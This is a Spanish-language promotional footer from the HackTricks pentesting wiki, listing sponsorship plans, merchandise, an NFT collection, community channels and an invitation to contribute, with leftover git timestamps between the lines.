* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** , consulta los [**PLANES DE SUSCRIPCIÓN** ](https://github.com/sponsors/carlospolop )!
* Obtén el [**oficial PEASS & HackTricks swag** ](https://peass.creator-spring.com )
2024-02-05 02:44:49 +00:00
* Descubre [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), nuestra colección exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-23 16:28:45 +00:00
* **Únete al** 💬 [**grupo de Discord** ](https://discord.gg/hRep4RUj7f ) o al [**grupo de telegram** ](https://t.me/peass ) o **síguenos** en **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-05 02:44:49 +00:00
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) y [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2023-06-05 18:33:24 +00:00
< / details >